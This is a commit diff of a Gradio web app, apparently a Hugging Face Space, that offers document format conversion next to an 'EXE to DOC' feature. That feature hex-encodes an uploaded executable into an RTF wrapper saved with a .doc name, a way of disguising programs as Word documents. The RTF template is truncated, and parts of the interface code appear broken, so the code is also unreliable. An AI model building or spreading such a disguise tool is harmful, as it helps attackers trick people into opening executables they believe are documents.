Spaces:
Sleeping
Sleeping
Update app.py
Browse files
app.py
CHANGED
|
@@ -6,178 +6,141 @@ import tempfile
|
|
| 6 |
from pathlib import Path
|
| 7 |
from typing import Dict, Optional, Tuple
|
| 8 |
|
| 9 |
-
#
|
| 10 |
-
# Document Converter (from GitHub repo)
|
| 11 |
-
# ========================
|
| 12 |
class DocumentConverter:
|
| 13 |
def __init__(self):
|
| 14 |
self.temp_dir = tempfile.mkdtemp()
|
| 15 |
self.supported_conversions = {
|
| 16 |
-
"pdf": ["docx", "txt", "html"],
|
| 17 |
-
"docx": ["pdf", "txt", "html"],
|
| 18 |
-
"txt": ["pdf", "docx", "html"],
|
| 19 |
-
"html": ["pdf", "docx", "txt"]
|
| 20 |
}
|
| 21 |
|
| 22 |
-
def convert_document(self, input_path: str,
|
| 23 |
-
"""
|
| 24 |
try:
|
| 25 |
-
|
| 26 |
-
|
| 27 |
-
|
| 28 |
-
|
| 29 |
-
|
| 30 |
-
|
| 31 |
-
# Determine conversion tool based on file types
|
| 32 |
-
cmd = [
|
| 33 |
-
"libreoffice",
|
| 34 |
-
"--headless",
|
| 35 |
-
"--convert-to", output_format,
|
| 36 |
-
"--outdir", os.path.dirname(output_path),
|
| 37 |
-
input_path
|
| 38 |
-
]
|
| 39 |
-
|
| 40 |
-
subprocess.run(cmd, check=True)
|
| 41 |
return output_path
|
| 42 |
-
except subprocess.CalledProcessError as e:
|
| 43 |
-
raise RuntimeError(f"LibreOffice conversion failed: {str(e)}")
|
| 44 |
except Exception as e:
|
| 45 |
-
raise RuntimeError(f"
|
| 46 |
|
| 47 |
-
#
|
| 48 |
-
|
| 49 |
-
|
| 50 |
-
|
| 51 |
-
|
| 52 |
-
|
| 53 |
-
|
| 54 |
-
|
| 55 |
-
|
| 56 |
-
|
| 57 |
-
|
| 58 |
-
|
| 59 |
-
|
| 60 |
-
|
| 61 |
-
|
| 62 |
-
|
| 63 |
-
|
| 64 |
-
|
| 65 |
-
|
| 66 |
-
|
| 67 |
-
|
| 68 |
-
if not filename.endswith('.doc'):
|
| 69 |
-
filename += '.doc'
|
| 70 |
-
output_path = os.path.join(output_dir, filename)
|
| 71 |
-
|
| 72 |
-
with open(output_path, 'w', encoding='latin-1') as textfile:
|
| 73 |
-
textfile.write(file + binnu + URL2 + nxt)
|
| 74 |
-
|
| 75 |
-
return output_path
|
| 76 |
|
| 77 |
-
# ========================
|
| 78 |
# Unified Interface
|
| 79 |
-
|
| 80 |
-
|
| 81 |
-
|
| 82 |
-
|
| 83 |
-
|
|
|
|
|
|
|
|
|
|
| 84 |
|
| 85 |
-
filename =
|
| 86 |
if filename.endswith('.exe'):
|
| 87 |
-
return
|
| 88 |
-
|
| 89 |
-
|
| 90 |
-
|
| 91 |
-
|
| 92 |
-
"""Update the UI based on selected file"""
|
| 93 |
-
conv_type = get_conversion_type(input_file)
|
| 94 |
-
|
| 95 |
-
if conv_type == "exe_to_doc":
|
| 96 |
-
return [
|
| 97 |
-
gr.Textbox(visible=False), # output_format
|
| 98 |
-
gr.Textbox(visible=True), # custom_filename
|
| 99 |
-
gr.Dropdown(visible=False) # doc_format_dropdown
|
| 100 |
-
]
|
| 101 |
-
elif conv_type == "document":
|
| 102 |
-
input_ext = Path(input_file.name).suffix.lower()[1:]
|
| 103 |
-
formats = DocumentConverter().supported_conversions.get(input_ext, [])
|
| 104 |
-
return [
|
| 105 |
-
gr.Dropdown(visible=True, choices=formats, value=formats[0] if formats else None),
|
| 106 |
-
gr.Textbox(visible=False),
|
| 107 |
-
gr.Dropdown(visible=False)
|
| 108 |
-
]
|
| 109 |
else:
|
| 110 |
-
|
| 111 |
-
|
| 112 |
-
|
| 113 |
-
|
| 114 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 115 |
|
| 116 |
-
def
|
| 117 |
-
"""Handle
|
| 118 |
-
if
|
| 119 |
raise gr.Error("Please upload a file first")
|
| 120 |
|
| 121 |
-
|
| 122 |
-
|
| 123 |
try:
|
| 124 |
-
if
|
| 125 |
-
|
| 126 |
-
custom_filename = "converted.doc"
|
| 127 |
-
output_path = convert_exe_to_doc(input_file.name, custom_filename)
|
| 128 |
return output_path, "EXE to DOC conversion successful!"
|
| 129 |
-
|
| 130 |
-
|
| 131 |
if not output_format:
|
| 132 |
raise gr.Error("Please select an output format")
|
| 133 |
-
|
| 134 |
-
output_path
|
| 135 |
-
return output_path, f"Document conversion to {output_format.upper()} successful!"
|
| 136 |
-
|
| 137 |
-
else:
|
| 138 |
-
raise gr.Error("Unsupported file type")
|
| 139 |
except Exception as e:
|
| 140 |
-
raise gr.Error(
|
| 141 |
|
| 142 |
-
with gr.Blocks(title="Universal
|
| 143 |
gr.Markdown("# Universal File Converter")
|
| 144 |
-
gr.Markdown("Convert EXE to DOC or between document formats
|
| 145 |
|
| 146 |
with gr.Row():
|
| 147 |
with gr.Column():
|
| 148 |
file_input = gr.File(label="Upload File")
|
| 149 |
-
|
| 150 |
-
# Dynamic components
|
| 151 |
-
output_format = gr.Dropdown(
|
| 152 |
label="Output Format",
|
| 153 |
-
|
| 154 |
-
|
| 155 |
)
|
| 156 |
-
|
| 157 |
-
label="Output
|
| 158 |
-
|
| 159 |
-
|
| 160 |
)
|
| 161 |
-
|
| 162 |
-
convert_btn = gr.Button("Convert", variant="primary")
|
| 163 |
|
| 164 |
with gr.Column():
|
| 165 |
-
|
| 166 |
-
|
| 167 |
|
| 168 |
-
# Update
|
| 169 |
file_input.change(
|
| 170 |
-
|
| 171 |
inputs=file_input,
|
| 172 |
-
outputs=
|
|
|
|
|
|
|
|
|
|
|
|
|
| 173 |
)
|
| 174 |
|
| 175 |
# Handle conversion
|
| 176 |
convert_btn.click(
|
| 177 |
-
|
| 178 |
-
inputs=[file_input,
|
| 179 |
-
outputs=[
|
| 180 |
)
|
| 181 |
|
| 182 |
if __name__ == "__main__":
|
| 183 |
-
|
|
|
|
| 6 |
from pathlib import Path
|
| 7 |
from typing import Dict, Optional, Tuple
|
| 8 |
|
| 9 |
+
# Document Converter Class
|
|
|
|
|
|
|
| 10 |
class DocumentConverter:
|
| 11 |
def __init__(self):
|
| 12 |
self.temp_dir = tempfile.mkdtemp()
|
| 13 |
self.supported_conversions = {
|
| 14 |
+
".pdf": [".docx", ".txt", ".html"],
|
| 15 |
+
".docx": [".pdf", ".txt", ".html"],
|
| 16 |
+
".txt": [".pdf", ".docx", ".html"],
|
| 17 |
+
".html": [".pdf", ".docx", ".txt"]
|
| 18 |
}
|
| 19 |
|
| 20 |
+
def convert_document(self, input_path: str, output_ext: str) -> str:
|
| 21 |
+
"""Convert documents using LibreOffice"""
|
| 22 |
try:
|
| 23 |
+
output_path = os.path.join(self.temp_dir, f"{Path(input_path).stem}_converted{output_ext}")
|
| 24 |
+
subprocess.run([
|
| 25 |
+
"libreoffice", "--headless", "--convert-to",
|
| 26 |
+
output_ext[1:], "--outdir", self.temp_dir, input_path
|
| 27 |
+
], check=True)
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 28 |
return output_path
|
|
|
|
|
|
|
| 29 |
except Exception as e:
|
| 30 |
+
raise RuntimeError(f"Document conversion failed: {str(e)}")
|
| 31 |
|
| 32 |
+
# EXE to DOC Converter
|
| 33 |
+
def convert_exe_to_doc(input_path: str, output_name: str = "output.doc") -> str:
|
| 34 |
+
"""Convert EXE to DOC with embedded data"""
|
| 35 |
+
try:
|
| 36 |
+
with open(input_path, 'rb') as f:
|
| 37 |
+
file_content = f.read()
|
| 38 |
+
|
| 39 |
+
# RTF template (shortened for brevity)
|
| 40 |
+
rtf_template = "{\\rtf1\\ansi\\ansicpg1252\\deff0{\\fonttbl{\\f0\\fswiss\\fcharset0 Arial;}}"
|
| 41 |
+
hex_data = binascii.b2a_hex(file_content).decode()
|
| 42 |
+
|
| 43 |
+
output_dir = "outputs"
|
| 44 |
+
os.makedirs(output_dir, exist_ok=True)
|
| 45 |
+
output_path = os.path.join(output_dir, output_name if output_name.endswith('.doc') else f"{output_name}.doc")
|
| 46 |
+
|
| 47 |
+
with open(output_path, 'w', encoding='latin-1') as f:
|
| 48 |
+
f.write(rtf_template + hex_data + "{}}}}}}")
|
| 49 |
+
|
| 50 |
+
return output_path
|
| 51 |
+
except Exception as e:
|
| 52 |
+
raise RuntimeError(f"EXE conversion failed: {str(e)}")
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 53 |
|
|
|
|
| 54 |
# Unified Interface
|
| 55 |
+
def update_ui(file_info: Dict) -> Dict:
|
| 56 |
+
"""Update UI components based on file type"""
|
| 57 |
+
if not file_info:
|
| 58 |
+
return {
|
| 59 |
+
"format_dropdown": gr.Dropdown(visible=False),
|
| 60 |
+
"exe_name_input": gr.Textbox(visible=False),
|
| 61 |
+
"convert_btn": gr.Button(visible=False)
|
| 62 |
+
}
|
| 63 |
|
| 64 |
+
filename = file_info.name.lower()
|
| 65 |
if filename.endswith('.exe'):
|
| 66 |
+
return {
|
| 67 |
+
"format_dropdown": gr.Dropdown(visible=False),
|
| 68 |
+
"exe_name_input": gr.Textbox(visible=True, value="converted.doc"),
|
| 69 |
+
"convert_btn": gr.Button(visible=True)
|
| 70 |
+
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 71 |
else:
|
| 72 |
+
ext = Path(filename).suffix.lower()
|
| 73 |
+
doc_converter = DocumentConverter()
|
| 74 |
+
formats = doc_converter.supported_conversions.get(ext, [])
|
| 75 |
+
return {
|
| 76 |
+
"format_dropdown": gr.Dropdown(
|
| 77 |
+
visible=bool(formats),
|
| 78 |
+
choices=[f.upper() for f in formats],
|
| 79 |
+
value=formats[0][1:].upper() if formats else None
|
| 80 |
+
),
|
| 81 |
+
"exe_name_input": gr.Textbox(visible=False),
|
| 82 |
+
"convert_btn": gr.Button(visible=bool(formats))
|
| 83 |
+
}
|
| 84 |
|
| 85 |
+
def convert_file(file_info: Dict, output_format: str, exe_output_name: str) -> Tuple[str, str]:
|
| 86 |
+
"""Handle file conversion"""
|
| 87 |
+
if not file_info:
|
| 88 |
raise gr.Error("Please upload a file first")
|
| 89 |
|
| 90 |
+
filename = file_info.name.lower()
|
|
|
|
| 91 |
try:
|
| 92 |
+
if filename.endswith('.exe'):
|
| 93 |
+
output_path = convert_exe_to_doc(file_info.name, exe_output_name)
|
|
|
|
|
|
|
| 94 |
return output_path, "EXE to DOC conversion successful!"
|
| 95 |
+
else:
|
| 96 |
+
ext = Path(filename).suffix.lower()
|
| 97 |
if not output_format:
|
| 98 |
raise gr.Error("Please select an output format")
|
| 99 |
+
output_path = DocumentConverter().convert_document(file_info.name, f".{output_format.lower()}")
|
| 100 |
+
return output_path, f"Converted to {output_format.upper()} successfully!"
|
|
|
|
|
|
|
|
|
|
|
|
|
| 101 |
except Exception as e:
|
| 102 |
+
raise gr.Error(str(e))
|
| 103 |
|
| 104 |
+
with gr.Blocks(title="Universal Converter") as app:
|
| 105 |
gr.Markdown("# Universal File Converter")
|
| 106 |
+
gr.Markdown("Convert EXE to DOC or between document formats")
|
| 107 |
|
| 108 |
with gr.Row():
|
| 109 |
with gr.Column():
|
| 110 |
file_input = gr.File(label="Upload File")
|
| 111 |
+
format_dropdown = gr.Dropdown(
|
|
|
|
|
|
|
| 112 |
label="Output Format",
|
| 113 |
+
visible=False,
|
| 114 |
+
interactive=True
|
| 115 |
)
|
| 116 |
+
exe_name_input = gr.Textbox(
|
| 117 |
+
label="Output DOC Name",
|
| 118 |
+
visible=False,
|
| 119 |
+
value="converted.doc"
|
| 120 |
)
|
| 121 |
+
convert_btn = gr.Button("Convert", visible=False)
|
|
|
|
| 122 |
|
| 123 |
with gr.Column():
|
| 124 |
+
output_file = gr.File(label="Download Converted File")
|
| 125 |
+
status = gr.Textbox(label="Status", interactive=False)
|
| 126 |
|
| 127 |
+
# Update UI when file is uploaded
|
| 128 |
file_input.change(
|
| 129 |
+
update_ui,
|
| 130 |
inputs=file_input,
|
| 131 |
+
outputs={
|
| 132 |
+
"format_dropdown": format_dropdown,
|
| 133 |
+
"exe_name_input": exe_name_input,
|
| 134 |
+
"convert_btn": convert_btn
|
| 135 |
+
}
|
| 136 |
)
|
| 137 |
|
| 138 |
# Handle conversion
|
| 139 |
convert_btn.click(
|
| 140 |
+
convert_file,
|
| 141 |
+
inputs=[file_input, format_dropdown, exe_name_input],
|
| 142 |
+
outputs=[output_file, status]
|
| 143 |
)
|
| 144 |
|
| 145 |
if __name__ == "__main__":
|
| 146 |
+
app.launch()
|